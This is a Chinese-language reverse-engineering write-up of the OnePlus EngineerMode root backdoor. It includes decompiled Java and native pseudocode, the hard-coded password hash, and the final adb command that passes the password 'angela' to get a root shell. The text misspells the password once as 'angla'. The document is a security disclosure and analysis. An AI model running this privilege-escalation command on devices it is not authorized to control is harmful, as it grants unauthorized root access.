在一加的工程模式中存在 Root 提权后门,该漏洞由 nowsecure 团队发现。详情可点击https://www.nowsecure.com/blog/2017/11/14/oneplus-device-root-exploit-backdoor-engineermode-app-diagnostics-mode/ 参考。
类 com.android.engineeringmode.qualcomm.DiagEnabled 存在许可权提升后门
private boolean escalatedUp(boolean arg7, String arg8) { boolean v1 = true; if(arg7) { if(arg8 != null) { arg7 = Privilege.escalate(arg8); if(arg7) { SystemProperties.set("persist.sys.adbroot", "1"); SystemProperties.set("oem.selinux.reload_policy", "1"); }
String v4 = "DiagEnabled"; StringBuilder v5 = new StringBuilder().append("privilege escalate "); String v3 = arg7 ? "success" : "failed"; Log.d(v4, v5.append(v3).toString()); } else { arg7 = false; }
v1 = arg7; } else { SystemProperties.set("persist.sys.adbroot", "0"); Privilege.recover(); }
SharedPreferences$Editor v0 = this.getSharedPreferences("privilege", 0).edit(); v0.putBoolean("escalated", arg7); v0.commit(); this.updatePrivilegeButton(); if(v1) { if("0".equals(SystemProperties.get("persist.sys.adbroot", "1"))) { new Thread(new Runnable() { public void run() { Log.i("DiagEnabled", "reboot device..."); DiagEnabled.this.getSystemService("power").reboot(null); } }).start(); } else { SystemProperties.set("ctl.restart", "adbd"); } }
return v1; }
由以上代码逻辑可知,要使得代码执行到SystemProperties.set(「persist.sys.adbroot」, 「1」);(adb shell 变 root),需要使Privilege.escalate(arg8);返回true。escalate()是 native 函数,实现在 libdoor.so里。
root@OnePlus:/system/lib # ls|grep door libdoor.so root@OnePlus:/system/lib #
逆向发现,该函数使用 JNI_Onload 进行动态函数注册
signed int __fastcall JNI_OnLoad(int *a1, int a2) { int v2; // r2 int v3; // r3 const char *v4; // r2 int v5; // r4 int v6; // r1 const char *v7; // r2 int v9; // [sp+4h] [bp-14h]
v9 = a2; v2 = *a1; v9 = 0; if ( (*(int (__cdecl **)(int *))(v2 + 24))(a1) ) { v4 = "ERROR: GetEnv failed "; } else { v5 = v9; v6 = (*(int (__fastcall **)(int, const char *))(*(_DWORD *)v9 + 24))( v9, "com/android/engineeringmode/qualcomm/Privilege"); if ( v6 ) { if ( (*(int (__fastcall **)(int, int, char **, signed int))(*(_DWORD *)v5 + 860))(v5, v6, off_5028, 3) >= 0 ) // ----> 查看 0ff_5028 return 65540; v7 = "RegisterNatives failed for %s "; } else { v7 = "Native registration unable to find class %s "; } _android_log_print(3, "door", v7, "com/android/engineeringmode/qualcomm/Privilege"); v4 = "ERROR: BinaryDictionary native registration failed "; } _android_log_print(3, "door", v4, v3); return -1; }
0ff_5028 数据取放置的是各个动态函数的地址,找到escalate()地址为sub_C40。
.data:00005028 off_5028 DCD aIsescalated ; DATA XREF: JNI_OnLoad+4C↑o .data:00005028 ; .text:off_1188↑o .data:00005028 ; "isEscalated" .data:0000502C DCD aZ ; "()Z" .data:00005030 DCD sub_C40+1 //------------------------------------------------------------------------------ .data:00005034 DCD aEscalate ; "escalate" .data:00005038 DCD aLjavaLangStrin ; "(Ljava/lang/String;)Z" .data:0000503C DCD sub_1004+1 // ----> 函数地址 //------------------------------------------------------------------------------
.data:00005040 DCD aRecover ; "recover" .data:00005044 DCD aV ; "()V" .data:00005048 DCD sub_B70+1 .data:00005048 ; .data ends
bool __fastcall sub_1004(int a1, int a2, int a3) { int v3; // r8 int v4; // r7 const char *v5; // r6 size_t v6; // r9 int v7; // r3 int v8; // r4 char v10; // [sp+4h] [bp-BCh] int v11; // [sp+74h] [bp-4Ch] int v12; // [sp+78h] [bp-48h] char v13; // [sp+7Ch] [bp-44h]
v3 = a3; v4 = a1; v5 = (const char *)(*(int (**)(void))(*(_DWORD *)a1 + 676))(); (*(void (__fastcall **)(int, int))(*(_DWORD *)v4 + 672))(v4, v3); v11 = 235212815; v12 = 302976772; if ( !v5 || !*v5 ) goto LABEL_6; v6 = strlen(v5); SHA256_Init(&v10); SHA256_Update(&v10, v5, v6); SHA256_Final(&v13, &v10); if ( memcmp(&v13, &unk_5008, 0x20u) ) // 输入密码校验,也就是escalate()的第二个参数 { _android_log_print(3, "door", "password verify failed ", v7); LABEL_6: v8 = -1; goto LABEL_7; } _android_log_print(3, "door", "password verify passed ", v7); v8 = sub_CC8(&v11); LABEL_7: (*(void (__fastcall **)(int, int, const char *))(*(_DWORD *)v4 + 680))(v4, v3, v5); return v8 == 0; }
unk_5008数据区域存放的值是79a6a933dfc9b1975e444d4e8481c64c771d8ab40b7ac72f8bc1a1bca1718bef,这里是与escalate()函数第二个参数进行 SHA256 后的值进行比较,看是否相等,相等则返回 true,那么接下来就会打开 root 许可权。那么什么字元串的SHA256值是上面的数据呢? 在http://hashtoolkit.com进行 sha256 解密得:
密码是angla。
protected void onCreate(Bundle arg4) { super.onCreate(arg4); this.setContentView(2130903082); this.mSerial = this.findViewById(2131493027); this.mSerial.setOnCheckedChangeListener(((CompoundButton$OnCheckedChangeListener)this)); this.mDiag = this.findViewById(2131493026); this.mDiag.setOnCheckedChangeListener(((CompoundButton$OnCheckedChangeListener)this)); this.mAllDiag = this.findViewById(2131493028); this.mAllDiag.setOnCheckedChangeListener(((CompoundButton$OnCheckedChangeListener)this)); this.mRndisAndDiag = this.findViewById(2131493029); this.mRndisAndDiag.setOnCheckedChangeListener(((CompoundButton$OnCheckedChangeListener)this)); this.mPrivilege = this.findViewById(2131493031); this.mPrivilege.setOnClickListener(((View$OnClickListener)this)); this.mPrivilege.setVisibility(4); this.findViewById(2131493030).setVisibility(4); this.mUsbManager = this.getSystemService("usb"); if(this.getIntent() != null) { this.escalatedUp(true, this.getIntent().getStringExtra("code"));//-----> }
if(Feature.isSerialCdevSupported(((Context)this))) { DiagEnabled.ALLDIAG_USB_CONFIG = "diag,serial_cdev,serial_tty,rmnet_ipa,mass_storage,adb"; } }
com.android.engineeringmode.qualcomm.DiagEnabled类是一个 Activity 类,且 exported 属性设置为了true,故而可以直接通过 adb 进行调用。从以上代码可知,escalate() 第二个参数,又可以通过 Intent 的方式进行传递,故而我们也可以在 adb 里使用 am 进行发送第二个参数angela。 最终我们构造的 exploit 代码为:
$ adb shell am start -n com.android.engineeringmode/.qualcomm.DiagEnabled --es "code" "angela"
再次执行 adb shell 将会获取 root shell。
一加 1 – 5 之后,直接关闭了用户对工程模式的访问。
推荐阅读: